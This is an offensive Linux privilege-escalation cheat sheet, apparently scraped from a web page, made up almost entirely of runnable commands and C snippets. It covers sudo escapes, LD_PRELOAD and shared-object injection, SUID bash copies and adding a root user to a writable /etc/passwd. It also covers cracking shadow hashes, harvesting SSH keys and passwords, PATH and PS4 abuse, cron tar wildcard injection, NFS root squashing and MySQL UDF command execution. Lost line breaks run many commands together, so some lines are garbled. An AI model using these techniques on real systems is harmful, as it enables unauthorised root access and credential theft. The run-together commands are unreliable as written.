Linux
Test For Kernel Exploits
uname -acat /etc/issuecat /etc/*-releaseles.shTest For sudo permissions
sudo -lGeneral Scoping
grep -Ri 'db' /var/www --color=autogrep -Ri 'sql' /var/www --color=autogrep -Ri '$db_name' /var/www --color=autols -lsa /tmp/ls -lsa /dev/shmls -lsa /opt/ls -lsa /ls -ls /etc anything other than root:root root:fuse root:shadow root:dipls -lsa /etc | grep -i '.secret'ls -lsaR /var/maills -lsaR /var/spool/maills -lsaR /homemountlsblkcat /etc/fstabVulnerable Driver Discovery
List drivers
lsmodget libata driver information and version
modinfo libataTest SUDO
Reference https://gtfobins.github.io/
Nano
sudo find /bin -name nano -exec /bin/sh \;Awk
sudo awk 'BEGIN {system("/bin/sh")}'Nmap
echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nseVim
sudo vim -c '!sh'LD_PRELOAD
create file as malicious.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}compile and load
gcc -fPIC -shared -o /tmp/malicious.so malicious.c -nostartfilessudo LD_PRELOAD=/tmp/malicious.so apache2Shared Object Injection
find / -type f -perm -04000 -ls 2>/dev/nullRun strace on SUIDs to find "foundso.so"
strace /usr/local/bin/SuidFromPreviousOutput 2>&1 | grep -i -E "open|access|no such file"mkdir /home/user/.configcd /home/user/.configcreate foundso.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}gcc -shared -o /home/user/.config/foundso.so -fPIC /home/user/.config/foundso.c
/usr/local/bin/somesuidsudo apache2 -f /etc/shadowTest SUID files
Reference https://gtfobins.github.io/ and google the rest not listed.
find / -perm /4000 2> /dev/nullTest etc/passwd & etc/shadow
Test for readable / writeable /etc/passwd OR /etc/shadow
ls -la /etc/passwd /etc/shadowOnly if Both Readable
unshadow passwd shadow > unshadowed.txthashcat -m 1800 unshadowed.txt rockyou.txt -OWritable etc/passwd
openssl passwd thescriptkidecho 'thescriptkid:$1$ZEx4UyBv$/2BpqiGuy7vuNC7X9SsTO0:0:0:thescriptkid:/home/thescriptkid:/bin/bash' >> /etc/passwdsu thescriptkidStored Passwords & Keys
OVPN Files
find / -iname "*.ovpn" 2> /dev/nullIrssi Files
find / -iname "config" 2> /dev/null | grep -i "irssi"cat filename | grep -i passwBash History
cat /home/*/.bash_history | grep -i passwSSH Keys
find / -name id_rsa 2> /dev/nullchmod 400 id_rsassh -i id_rsa someuser@$ipAbusing Intended Functionality
Symlinks
Nginx below 1.6.2-5+deb8u3 logrotate Local Privilege Escalation
Environment Variables
Path
find / -type f -perm -04000 -ls 2>/dev/nullstrings /usr/local/bin/onfoundsuidC functions such as setresgid, setresuid, and system are of interest and should be investigated. Relative path commands such as "service" apache2 start can be abused.
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.cgcc /tmp/service.c -o /tmp/serviceexport PATH=/tmp:$PATH/usr/local/bin/onfoundsuidFunctions, ShellOpts & PS4
find / -type f -perm -04000 -ls 2>/dev/nullstrings /usr/local/bin/onfoundsuidC functions such as setresgid, setresuid, and system are of interest and should be investigated. Absolute or Relative path commands such as "service" can be abused by creating functions in the current shell session.
Method 1
function /usr/sbin/onfoundsuid() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }export -f /usr/sbin/service/usr/local/bin/onfoundsuidMethod 2
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/onfoundsuid; set +x; /tmp/bash -p'Capabilities
getcap -r / 2>/dev/nullPython 2.6
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'Cron
cat /etc/crontabls /etc/cron.dcat /var/spool/cron/crontabs/rootPath
This abuses misconfigured path in "/etc/crontab". If a user has write permissions in the directory that is in the path. create a file with the same name as the cronjob with malicious contents.
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /writeable/directory/somefilechmod +x /wrietable/directory/somefile/tmp/bash -pWildcards
cat /etc/crontabTar
Exploitable if cronjob script that is using tar and has a wildcard * Example: tar czf /tmp/backup.tar.gz
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh
/home/user/--checkpoint=1touch /home/user/--checkpoint-action=exec=sh\ runme.shWait for execution
/tmp/bash -pFile Overwrite
cat /etc/crontabExploitable if script is writeable by the current user
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /path/to/writable/writablescript/tmp/bash -pNFS Root Squashing
Victim Machine
cat /etc/exportsKali Machine
showmount -e ipmount -o rw,vers=2 ip:/tmp /tmp/1echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/thescriptkid.cgcc /tmp/1/x.c -o /tmp/1/thescriptkidchmod +s /tmp/1/thescriptkidVictim Machine
/tmp/thescriptkidMysql
prequisites - a valid database
show databases;CREATE FUNCTION sys_eval RETURNS INT SONAME 'lib_mysqludf_sys.so';select sys_eval("cp /bin/bash /var/tmp/bash ; chmod u+s /var/tmp/bash");/var/tmp/bash -pRun LinPEAS
try passwords found in config PHP files
Last updated